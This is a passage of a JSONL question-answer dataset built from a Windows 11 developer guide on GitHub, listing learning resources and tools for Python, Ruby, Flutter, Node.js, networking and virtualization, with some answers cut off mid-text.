Manual](https://docs.gradle.org/current/userguide/userguide.html)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522530"}
{"id": "gh_48c8db4d1797", "question": "How to: Python Development", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522551"}
{"id": "gh_f7df97de9edf", "question": "How to: Python Learning Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Python](https://www.python.org) is an interpreted, high-level programming language. Python is used heavily in the fields of Data Science and Machine Learning.\n\n[Python Developer’s Guide](https://devguide.python.org) is a comprehensive resource for contributing to Python – for both new and experienced contributors. It is maintained by the same community that maintains Python.\n\n[Azure Functions Python developer guide](https://docs.microsoft.com/en-us/azure/azure-functions/functions-reference-python) is an introduction to developing Azure Functions using Python. The content below assumes that you've already read the [Azure Functions developers guide](https://docs.microsoft.com/en-us/azure/azure-functions/functions-reference).\n\n[CheckiO](https://checkio.org/) is a programming learning platform and a gamified website that teaches Python through solving code challenges and competing for the most elegant and creative solutions.\n\n[Python Institute](https://pythoninstitute.org)\n\n[PCEP – Certified Entry-Level Python Programmer certification](https://pythoninstitute.org/pcep-certification-entry-level/)\n\n[PCAP – Certified Associate in Python Programming certification](https://pythoninstitute.org/pcap-certification-associate/)\n\n[PCPP – Certified Professional in Python Programming 1 certification](https://pythoninstitute.org/pcpp-certification-professional/)\n\n[PCPP – Certified Professional in Python Programming 2](https://pythoninstitute.org/pcpp-certification-professional/)\n\n[MTA: Introduction to Programming Using Python Certification](https://docs.microsoft.com/en-us/learn/certifications/mta-introduction-to-programming-using-python)\n\n[Getting Started with Python in Visual Studio Code](https://code.visualstudio.com/docs/python/python-tutorial)\n\n[Google's Python Style Guide](https://google.github.io/styleguide/pyguide.html)\n\n[Google's Python Education Class](https://developers.google.com/edu/python/)\n\n[Real Python](https://realpython.com)\n\n[The Python Open Source Computer Science Degree by Forrest Knight](https://github.com/ForrestKnight/open-source-cs-python)\n\n[Intro to Python for Data Science](https://www.datacamp.com/courses/intro-to-python-for-data-science)\n\n[Intro to Python by W3schools](https://www.w3schools.com/python/python_intro.asp)\n\n[Codecademy's Python 3 course](https://www.codecademy.com/learn/learn-python-3)\n\n[Learn Python with Online Courses and Classes from edX](https://www.edx.org/learn/python)\n\n[Python Courses Online from Coursera](https://www.coursera.org/courses?query=python)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522561"}
{"id": "gh_57aa9e0880b7", "question": "How to: Python Frameworks, Libraries, and Tools", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Python Package Index (PyPI)](https://pypi.org/) is a repository of software for the Python programming language. PyPI helps you find and install software developed and shared by the Python community.\n\n[PyCharm](https://www.jetbrains.com/pycharm/) is the best IDE I've ever used. With PyCharm, you can access the command line, connect to a database, create a virtual environment, and manage your version control system all in one place, saving time by avoiding constantly switching between windows.\n\n[Python Tools for Visual Studio(PTVS)](https://microsoft.github.io/PTVS/) is a free, open source plugin that turns Visual Studio into a Python IDE. It supports editing, browsing, IntelliSense, mixed Python/C++ debugging, remote Linux/MacOS debugging, profiling, IPython, and web development with Django and other frameworks.\n\n[Django](https://www.djangoproject.com/) is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.\n\n[Flask](https://flask.palletsprojects.com/) is a micro web framework written in Python. It is classified as a microframework because it does not require particular tools or libraries.\n\n[Web2py](http://web2py.com/) is an open-source web application framework written in Python allowing allows web developers to program dynamic web content. One web2py instance can run multiple web sites using different databases.\n\n[AWS Chalice](https://github.com/aws/chalice) is a framework for writing serverless apps in python. It allows you to quickly create and deploy applications that use AWS Lambda.\n\n[Tornado](https://www.tornadoweb.org/) is a Python web framework and asynchronous networking library. Tornado uses a non-blocking network I/O, which can scale to tens of thousands of open connections.\n\n[HTTPie](https://github.com/httpie/httpie) is a command line HTTP client that makes CLI interaction with web services as easy as possible. HTTPie is designed for testing, debugging, and generally interacting with APIs & HTTP servers.\n\n[Scrapy](https://scrapy.org/) is a fast high-level web crawling and web scraping framework, used to crawl websites and extract structured data from their pages. It can be used for a wide range of purposes, from data mining to monitoring and automated testing.\n\n[Sentry](https://sentry.io/) is a service that helps you monitor and fix crashes in realtime. The server is in Python, but it contains a full API for sending events from any language, in any application.\n\n[Pipenv](https://github.com/pypa/pipenv) is a tool that aims to bring the best of all packaging worlds (bundler, composer, npm, cargo, yarn, etc.) to the Python world.\n\n[Python Fire](https://github.com/google/python-fire) is a library for automatically generating command line interfaces (CLIs) from absolutely any Python object.\n\n[Bottle](https://github.com/bottlepy/bottle) is a fast, simple and lightweight [WSGI](https://www.wsgi.org/) micro web-framework for Python. It is distributed as a single file module and has no dependencies other than the [Python Standard Library](https://docs.python.org/library/).\n\n[CherryPy](https://cherrypy.org) is a minimalist Python object-oriented HTTP web framework.\n\n[Sanic](https://github.com/huge-success/sanic) is a Python 3.6+ web server and web framework that's written to go fast.\n\n[Pyramid](https://trypyramid.com) is a small and fast open source Python web framework. It makes real-world web application development and deployment more fun and more productive.\n\n[TurboGears](https://turbogears.org) is a hybrid web framework able to act both as a Full Stack framework or as a Microframework.\n\n[Falcon](https://falconframework.org/) is a reliable, high-performance Python web framework for building large-scale app backends and microservices with support for MongoDB, Pluggable Applications and autogenerated Admin.\n\n[Neural Network Intelligence(NNI)](https://github.com/microsoft/nni) is an open source AutoML toolkit for automate machine learning lifecycle, including [Feature Engineering](https://github.com/microsoft/nni/blob/master/docs/en_US/FeatureEngineering/Overview.md), [Neural Architecture Search](https://github.com/microsoft/nni/blob/master/docs/en_US/NAS/Overview.md), [Model Compression](https://github.com/microsoft/nni/blob/master/docs/en_US/Compressor/Overview.md) and [Hyperparameter Tuning](https://github.com/microsoft/nni/blob/master/docs/en_US/Tuner/BuiltinTuner.md).\n\n[Dash](https://plotly.com/dash) is a popular Python framework for building ML & data science web apps for Python, R, Julia, and Jupyter.\n\n[Luigi](https://github.com/spotify/luigi) is a Python module that helps you build complex pipelines of batch jobs. It handles dependency resolution, workflow management, visualization etc. It also comes with Hadoop support built-in.\n\n[Locust](https://github.com/locustio/locust) is an easy to use, scriptable and scalable performance testing tool.\n\n[spaCy](https://github.com/explosion/spaCy) is a library for advanced Natural Language Processing in Python a", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522576"}
{"id": "gh_3f82b5f4b7aa", "question": "How to: Ruby Development", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522581"}
{"id": "gh_17b62c623d6d", "question": "How to: Ruby Learning Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Ruby](https://www.ruby-lang.org/en/) is a dynamic, open source programming language with a focus on simplicity and productivity. It has an elegant syntax that is natural to read and easy to write.\n\n[Ruby Documentation](https://www.ruby-lang.org/en/documentation/)\n\n[Ruby Community](https://www.ruby-lang.org/en/community/)\n\n[Ruby Gems](https://guides.rubygems.org/rubygems-basics/)\n\n[Ruby courses by Coursera](https://www.coursera.org/courses?query=ruby)\n\n[Learn Ruby course by Codecademy](https://www.codecademy.com/learn/learn-ruby)\n\n[Ruby Glossary](https://www.codecademy.com/articles/glossary-ruby)\n\n[Ruby in Twenty Minutes Quickstart](https://www.ruby-lang.org/en/documentation/quickstart/)\n\n[Getting started with a Ruby on Rails application on CircleCI.](https://circleci.com/docs/2.0/language-ruby/)\n\n[The Ruby Style Guide](https://rubystyle.guide)\n\n[Airbnb's Ruby Style Guide](https://github.com/airbnb/ruby)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522587"}
{"id": "gh_092598c9f081", "question": "How to: Ruby Tools and Frameworks", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[RubyMine](https://www.jetbrains.com/ruby/) is a professional IDE developed by Jet Brains that provides support for Ruby, Ruby on Rails and web development.\n\n[Rails](https://rubyonrails.org/) is a web-application framework that includes everything needed to create database-backed web applications according to the [Model-View-Controller (MVC)](https://en.wikipedia.org/wiki/Model-view-controller) pattern. Understanding the MVC pattern is key to understanding Rails. MVC divides your application into three layers: Model, View, and Controller, each with a specific responsibility.\n\n[rbenv](https://github.com/rbenv/rbenv) allows to pick a Ruby version for your application and guarantee that your development environment matches production. Put rbenv to work with Bundler for painless Ruby upgrades and bulletproof deployments.\n\n[Prettier for Ruby](https://prettier.io/) is a plugin for the Ruby programming language and its ecosystem. prettier is an opinionated code formatter that supports multiple languages and integrates with most editors. The idea is to eliminate discussions of style in code review and allow developers to get back to thinking about code design instead.\n\n[Active Admin](https://activeadmin.info/) is a Ruby on Rails framework for creating elegant backends for website administration.\n\n[Capistrano](https://github.com/capistrano/capistrano) is a framework for building automated deployment scripts. Although Capistrano itself is written in Ruby, it can easily be used to deploy projects of any language or framework, be it Rails, Java, or PHP.\n\n[Spree](https://spreecommerce.org/) is an open source E-commerce platform for Rails 6 with a modern UX, optional PWA frontend, REST API, GraphQL, several official extensions and 3rd party integrations.\n\n[Sidekiq](https://sidekiq.org/) is a simple, efficient background processing for Ruby. It uses hreads to handle many jobs at the same time in the same process. It does not require Rails but will integrate tightly with Rails to make background processing dead simple.\n\n[Kaminari](https://github.com/amatsuda/kaminari/wiki) is a  Scope and Engine based, clean, powerful, and customizable  paginator for modern web app frameworks and ORMs.\n\n[React-Rails](https://github.com/reactjs/react-rails) is a flexible tool to use [React](http://facebook.github.io/react/) with Rails. By integrating React.js with Rails views and controllers, the asset pipeline, or webpacker.\n\n[Pry](https://github.com/pry/pry) is a runtime developer console and IRB alternative with powerful introspection capabilities.\n\n[Brakeman](https://brakemanscanner.org/) is a static analysis tool which checks Ruby on Rails applications for security vulnerabilities.\n\n[dotenv](https://github.com/bkeepers/dotenv) is a Ruby gem to load environment variables from `.env`.\n\n[Scientist](https://github.com/github/scientist) is a Ruby library for carefully refactoring critical paths.\n\n[fastlane](https://fastlane.tools/) is a tool written in Ruby for iOS and Android developers to automate tedious tasks like generating screenshots, dealing with provisioning profiles, and releasing your application.\n\n[Fluentd](https://www.fluentd.org/) collects events from various data sources and writes them to files, RDBMS, NoSQL, IaaS, SaaS, Hadoop and so on all written in Ruby.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522596"}
{"id": "gh_9d1a87f8bd74", "question": "How to: Flutter Development", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)\n[Flutter](https://flutter.dev/) is Google's UI toolkit for crafting beautiful, natively compiled applications for mobile(Andorid and iOS), web, and desktop(Windows, MacOS, Linux, and Google Fuchsia) from a single codebase. Flutter works with existing code, is used by developers and organizations around the world, and is free and open source.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522601"}
{"id": "gh_c9de54e46f92", "question": "How to: Flutter Learning Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Flutter Gems](https://fluttergems.dev) is a curated package guide for Flutter which functionally categorizes some of the most useful and popular flutter packages available on pub.dev Flutter Gems A Flutter package landscape guide comprising 1500+ neatly categorized useful and popular packages.\n\n[Dart](https://dart.dev/) is an open-source, scalable programming language, with robust libraries and runtimes, for building web, server, and mobile apps using the Flutter framework.\n\n[Flutter documentation](https://flutter.dev/docs)\n\n[Style Guide for Flutter](https://github.com/flutter/flutter/wiki/Style-guide-for-Flutter-repo)\n\n[Creating your first Flutter app](https://flutter.dev/docs/get-started/codelab)\n\n[Build and release an Android app using Flutter](https://flutter.dev/docs/deployment/android)\n\n[Flutter Tools & techniques](https://flutter.dev/docs/development/tools)\n\n[Dart and Flutter: The Complete Developer's Guide on Udemy](https://www.udemy.com/course/dart-and-flutter-the-complete-developers-guide/)\n\n[Creating an Interactive Story with Flutter on Coursera](https://www.coursera.org/projects/story-creating-flutter)\n\n[Flutter for Beginners course on Pluralsight](https://www.pluralsight.com/courses/flutter-getting-started)\n\n[Flutter Online Training Courses on LinkedIn Learning](https://www.linkedin.com/learning/topics/flutter)\n\n[The Complete Flutter App Development Bootcamp with Dart by App Brewery](https://www.appbrewery.co/p/flutter-development-bootcamp-with-dart)\n\n[Adding Firebase to your Flutter app](https://firebase.google.com/docs/flutter/setup)\n\n[Using Firebase and Firestore with Flutter](https://flutter.dev/docs/development/data-and-backend/firebase)\n\n[Fuchsia Project](https://fuchsia.dev/)\n\n[Getting Started with Fuchsia](https://fuchsia.dev/fuchsia-src/get-started)\n\n[Fuchsia Reference](https://fuchsia.dev/reference)\n\n[Contributing to Fuchsia](https://fuchsia.dev/fuchsia-src/CONTRIBUTING)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522609"}
{"id": "gh_d94e39c17534", "question": "How to: Flutter Tools", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Firebase](https://firebase.google.com/) is a Backend-as-a-Service (BaaS) app development platform that provides hosted backend services such as a realtime database, cloud storage, authentication, crash reporting, machine learning, remote configuration, and hosting for your static files.\n\n[FlutterFire](https://firebase.flutter.dev/) is a set of [Flutter plugins](https://flutter.io/platform-plugins/) that enable Flutter apps to use [Firebase](https://firebase.google.com/) services. You can follow an example that shows how to use these plugins in the [Firebase for Flutter](https://codelabs.developers.google.com/codelabs/flutter-firebase/index.html#0) codelab.\n\n[FlutterBoost](https://github.com/alibaba/flutter_boost) is a Flutter plugin which enables hybrid integration of Flutter for your existing native apps with minimum efforts.\n\n[Go-flutter](https://github.com/go-flutter-desktop/go-flutter) is a package that brings Flutter to the desktop. project implements the [Flutter's Embedding API](https://github.com/flutter/flutter/wiki/Custom-Flutter-Engine-Embedders) using a single code base that runs on Windows, macOS, and Linux. For rendering, [GLFW](https://github.com/go-gl/glfw) fits the job because it provides the right abstractions over the OpenGL's Buffer/Mouse/Keyboard for each platform.\n\n[Appwrite](https://appwrite.io/) is a secure end-to-end backend server for Web, Mobile, and Flutter developers that is packaged as a set of Docker containers for easy deployment.\n\n[Fluro](https://github.com/theyakka/fluro) is a Flutter routing library that adds flexible routing options like wildcards, named parameters and clear route definitions.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522616"}
{"id": "gh_48bc0dac3662", "question": "How to: Node.js Development", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522620"}
{"id": "gh_f88975feb09b", "question": "How to: Node.js Learning Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Node.js](https://nodejs.org/) is a JavaScript runtime built on Chrome's V8 JavaScript engine that lets developers write command line tools and server-side scripts outside of a browser.\n\n[Node.js Build Working Group](https://github.com/nodejs/build) maintains and controls infrastructure used for continuous integration (CI), releases, benchmarks, web hosting (of nodejs.org and other Node.js web properties) and more.\n\n[The OpenJS Foundation](https://openjsf.org/) is made up of 32 open source JavaScript projects including Appium, Dojo, Electron, jQuery, Node.js, and webpack. The foundation's mission is to support the healthy growth of JavaScript and web technologies by providing a neutral organization to host and sustain projects, as well as collaboratively fund activities that benefit the ecosystem as a whole.\n\n[Set up NodeJS on WSL 2](https://docs.microsoft.com/en-us/windows/nodejs/setup-on-wsl2)\n\n[Getting started with Node.js in Google Cloud](https://cloud.google.com/nodejs/getting-started)\n\n[Getting Started with Node.js in AWS](https://docs.aws.amazon.com/sdk-for-javascript/v2/developer-guide/getting-started-nodejs.html)\n\n[Node.js App Hosting & Deployment in Microsoft Azure](https://azure.microsoft.com/en-us/develop/nodejs/)\n\n[The Node.js best practices list ](https://github.com/goldbergyoni/nodebestpractices)\n\n[Introduction to Node.js by W3Schools](https://www.w3schools.com/nodejs/nodejs_intro.asp)\n\n[The Node.js Community Committee](https://github.com/nodejs/community-committee)\n\n[Node.js Mentorship Program Initiative](https://github.com/nodejs/mentorship)\n\n[Node.js tutorial in Visual Studio Code](https://code.visualstudio.com/docs/nodejs/nodejs-tutorial)\n\n[Server-side Development with NodeJS, Express and MongoDB on Coursera](https://www.coursera.org/learn/server-side-nodejs)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522627"}
{"id": "gh_782aa3350a3a", "question": "How to: Node.js Tools", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[NPM](https://www.npmjs.com/) is the company behind Node package manager, the npm Registry, and npm CLI.\n\n[node-gyp](https://github.com/nodejs/node-gyp) is a cross-platform command-line tool written in Node.js for compiling native addon modules for Node.js. It contains a vendored copy of the gyp-next project that was previously used by the Chromium team, extended to support the development of Node.js native addons.\n\n[nvm ](https://github.com/nvm-sh/nvm) is a version manager for node.js, designed to be installed per-user, and invoked per-shell. nvm works on any POSIX-compliant shell (sh, dash, ksh, zsh, bash), in particular on these platforms: unix, macOS, and windows WSL.\n\n[node-docker](https://hub.docker.com/_/node/) is the official Node.js docker image, made with love by the node community.\n\n[Mocha](https://github.com/mochajs/mocha) is a simple, flexible, fun JavaScript test framework for Node.js & The Browser.\n\n[AVA](https://github.com/avajs/ava) is a test runner for Node.js with a concise API, detailed error output, embrace of new language features and process isolation that lets you develop with confidence.\n\n[egg](https://eggjs.org/) is a born to build better enterprise frameworks and apps with Node.js & Koa.\n\n[mysqljs](https://github.com/mysqljs/mysql) is a pure node.js JavaScript Client implementing the MySQL protocol.\n\n[axios](https://github.com/axios/axios) is a promise based HTTP client for the browser and node.js.\n\n[Fastify](https://www.fastify.io/) is a fast and low overhead web framework, for Node.js.\n\n[Express](https://expressjs.com/) is a fast, unopinionated, minimalist web framework for node.\n\n[Meteor](https://www.meteor.com/) is an ultra-simple environment for building modern web applications with JavavScript.\n\n[NW.js](https://nwjs.io/) is an app runtime based on Chromium and node.js. You can write native apps in HTML and JavaScript with NW.js. It also lets you call Node.js modules directly from the DOM and enables a new way of writing native applications with all Web technologies.\n\n[PM2](https://pm2.io/) is a production process manager for Node.js applications with a built-in load balancer. It allows you to keep applications alive forever, to reload them without downtime and to facilitate common system admin tasks.\n\n[NestJS](https://nestjs.com/) is a framework for building efficient, scalable Node.js web applications. It uses modern JavaScript, is built with TypeScript and combines elements of OOP (Object Oriented Progamming), FP (Functional Programming), and FRP (Functional Reactive Programming).\n\n[jenkins-nodejs](https://plugins.jenkins.io/nodejs/) is a Jenkins plugin for Node.js that provides the NodeJS auto-installer, allowing to create as many NodeJS installations \"profiles\" as you want.\n\n[Strapi](https://strapi.io/) is an open source Node.js Headless CMS to easily build customisable APIs.\n\n[Standard](https://standardjs.com/) is a JavaScript Style Guide, with linter & automatic code fixer.\n\n[React Starter Kit](https://www.reactstarterkit.com/) is an isomorphic web app boilerplate for web development built on top of [Node.js](https://nodejs.org/), [Express](http://expressjs.com/), [GraphQL](http://graphql.org/) and [React](https://facebook.github.io/react/), containing modern web development tools such as [Webpack](https://webpack.github.io/), [Babel](https://babeljs.io/) and [Browsersync](https://www.browsersync.io/). Helping you to stay productive following the best practices.\n\n[Hexo](https://hexo.io/) is a A fast, simple & powerful blog framework, powered by Node.js.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522637"}
{"id": "gh_07e7957d36bd", "question": "How to: Networking", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522642"}
{"id": "gh_e73f7ff877e5", "question": "How to: Networking Learning Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[AWS Certified Security - Specialty Certification](https://aws.amazon.com/certification/certified-security-specialty/)\n\n[Microsoft Certified: Azure Security Engineer Associate](https://docs.microsoft.com/en-us/learn/certifications/azure-security-engineer)\n\n[Google Cloud Certified Professional Cloud Security Engineer](https://cloud.google.com/certification/cloud-security-engineer)\n\n[Cisco Security Certifications](https://www.cisco.com/c/en/us/training-events/training-certifications/certifications/security.html)\n\n[The Red Hat Certified Specialist in Security: Linux](https://www.redhat.com/en/services/training/ex415-red-hat-certified-specialist-security-linux-exam)\n\n[Linux Professional Institute LPIC-3 Enterprise Security Certification](https://www.lpi.org/our-certifications/lpic-3-303-overview)\n\n[Cybersecurity Training and Courses from IBM Skills](https://www.ibm.com/skills/topics/cybersecurity/)\n\n[Cybersecurity Courses and Certifications by Offensive Security](https://www.offensive-security.com/courses-and-certifications/)\n\n[Citrix Certified Associate – Networking(CCA-N)](http://training.citrix.com/cms/index.php/certification/networking/)\n\n[Citrix Certified Professional – Virtualization(CCP-V)](https://www.globalknowledge.com/us-en/training/certification-prep/brands/citrix/section/virtualization/citrix-certified-professional-virtualization-ccp-v/)\n\n[CCNP Routing and Switching](https://learningnetwork.cisco.com/s/ccnp-enterprise)\n\n[Certified Information Security Manager(CISM)](https://www.isaca.org/credentialing/cism)\n\n[Wireshark Certified Network Analyst (WCNA)](https://www.wiresharktraining.com/certification.html)\n\n[Juniper Networks Certification Program Enterprise (JNCP)](https://www.juniper.net/us/en/training/certification/)\n\n[Networking courses and specializations from Coursera](https://www.coursera.org/browse/information-technology/networking)\n\n[Network & Security Courses from Udemy](https://www.udemy.com/courses/it-and-software/network-and-security/)\n\n[Network & Security Courses from edX](https://www.edx.org/learn/cybersecurity)\n\n  ## Tools & Networking Concepts\n\n    • Connection: In networking, a connection refers to pieces of related information that are transferred through a network. This generally infers that a connection is built before the data transfer (by following the procedures laid out in a protocol) and then is deconstructed at the at the end of the data transfer.\n\n    • Packet: A packet is, generally speaking, the most basic unit that is transferred over a network. When communicating over a network, packets are the envelopes that carry your data (in pieces) from one end point to the other.\n\nPackets have a header portion that contains information about the packet including the source and destination, timestamps, network hops. The main portion of a packet contains the actual data being transferred. It is sometimes called the body or the payload.\n\n    • Network Interface: A network interface can refer to any kind of software interface to networking hardware. For instance, if you have two network cards in your computer, you can control and configure each network interface associated with them individually.\n\nA network interface may be associated with a physical device, or it may be a representation of a virtual interface. The \"loop-back\" device, which is a virtual interface to the local machine, is an example of this.\n\n    • LAN: LAN stands for \"local area network\". It refers to a network or a portion of a network that is not publicly accessible to the greater internet. A home or office network is an example of a LAN.\n\n    • WAN: WAN stands for \"wide area network\". It means a network that is much more extensive than a LAN. While WAN is the relevant term to use to describe large, dispersed networks in general, it is usually meant to mean the internet, as a whole.\nIf an interface is connected to the WAN, it is generally assumed that it is reachable through the internet.\n\n    • Protocol: A protocol is a set of rules and standards that basically define a language that devices can use to communicate. There are a great number of protocols in use extensively in networking, and they are often implemented in different layers.\n\nSome low level protocols are TCP, UDP, IP, and ICMP. Some familiar examples of application layer protocols, built on these lower protocols, are HTTP (for accessing web content), SSH, TLS/SSL, and FTP.\n\n    • Port: A port is an address on a single machine that can be tied to a specific piece of software. It is not a physical interface or location, but it allows your server to be able to communicate using more than one application.\n\n    • Firewall: A firewall is a program that decides whether traffic coming into a server or going out should be allowed. A firewall usually works by creating rules for which type of traffic is acceptable on which ports. Generally, firewalls block ports that are not used by a specific application on a server.\n\n    • NAT: Network address translation is a", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1706, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522658"}
{"id": "gh_973ae04ce7d0", "question": "How to: Interfaces", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "Interfaces are networking communication points for your computer. Each interface is associated with a physical or virtual networking device. Typically, your server will have one configurable network interface for each Ethernet or wireless internet card you have. In addition, it will define a virtual network interface called the \"loopback\" or localhost interface. This is used as an interface to connect applications and processes on a single computer to other applications and processes. You can see this referenced as the \"lo\" interface in many tools.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522677"}
{"id": "gh_0ed318f924b1", "question": "How to: Virtualization", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[KVM (for Kernel-based Virtual Machine)](https://www.linux-kvm.org/page/Main_Page) is a full virtualization solution for Linux on x86 hardware containing virtualization extensions (Intel VT or AMD-V). It consists of a loadable kernel module, kvm.ko, that provides the core virtualization infrastructure and a processor specific module, kvm-intel.ko or kvm-amd.ko.\n\n[QEMU](https://www.qemu.org) is a fast processor emulator using a portable dynamic translator. QEMU emulates a full system, including a processor and various peripherals. It can be used to launch a different Operating System without rebooting the PC or to debug system code.\n\n[Hyper-V](https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/) enables running virtualized computer systems on top of a physical host. These virtualized systems can be used and managed just as if they were physical computer systems, however they exist in virtualized and isolated environment. Special software called a hypervisor manages access between the virtual systems and the physical hardware resources. Virtualization enables quick deployment of computer systems, a way to quickly restore systems to a previously known good state, and the ability to migrate systems between physical hosts.\n\n[VirtManager](https://github.com/virt-manager/virt-manager) is a graphical tool for managing virtual machines via libvirt. Most usage is with QEMU/KVM virtual machines, but Xen and libvirt LXC containers are well supported. Common operations for any libvirt driver should work.\n\n[oVirt](https://www.ovirt.org) is an open-source distributed virtualization solution, designed to manage your entire enterprise infrastructure. oVirt uses the trusted KVM hypervisor and is built upon several other community projects, including libvirt, Gluster, PatternFly, and Ansible.Founded by Red Hat as a community project on which Red Hat Enterprise Virtualization is based allowing for centralized management of virtual machines, compute, storage and networking resources, from an easy-to-use web-based front-end with platform independent access.\n\n[Xen](https://github.com/xen-project/xen) is focused on advancing virtualization in a number of different commercial and open source applications, including server virtualization, Infrastructure as a Services (IaaS), desktop virtualization, security applications, embedded and hardware appliances, and automotive/aviation.\n\n[Ganeti](https://github.com/ganeti/ganeti) is a virtual machine cluster management tool built on top of existing virtualization technologies such as Xen or KVM and other open source software. Once installed, the tool assumes management of the virtual instances (Xen DomU).\n\n[Packer](https://www.packer.io/) is an open source tool for creating identical machine images for multiple platforms from a single source configuration. Packer is lightweight, runs on every major operating system, and is highly performant, creating machine images for multiple platforms in parallel. Packer does not replace configuration management like Chef or Puppet. In fact, when building images, Packer is able to use tools like Chef or Puppet to install software onto the image.\n\n[Vagrant](https://www.vagrantup.com/) is a tool for building and managing virtual machine environments in a single workflow. With an easy-to-use workflow and focus on automation, Vagrant lowers development environment setup time, increases production parity, and makes the \"works on my machine\" excuse a relic of the past. It provides easy to configure, reproducible, and portable work environments built on top of industry-standard technology and controlled by a single consistent workflow to help maximize the productivity and flexibility of you and your team.\n\n[VMware Workstation](https://www.vmware.com/products/workstation-pro.html) is a hosted hypervisor that runs on x64 versions of Windows and Linux operating systems; it enables users to set up virtual machines on a single physical machine, and use them simultaneously along with the actual machine.\n\n[VirtualBox](https://www.virtualbox.org) is a powerful x86 and AMD64/Intel64 virtualization product for enterprise as well as home use. Not only is VirtualBox an extremely feature rich, high performance product for enterprise customers.", "tags": ["mikeroyal"], "source": "github_gists", 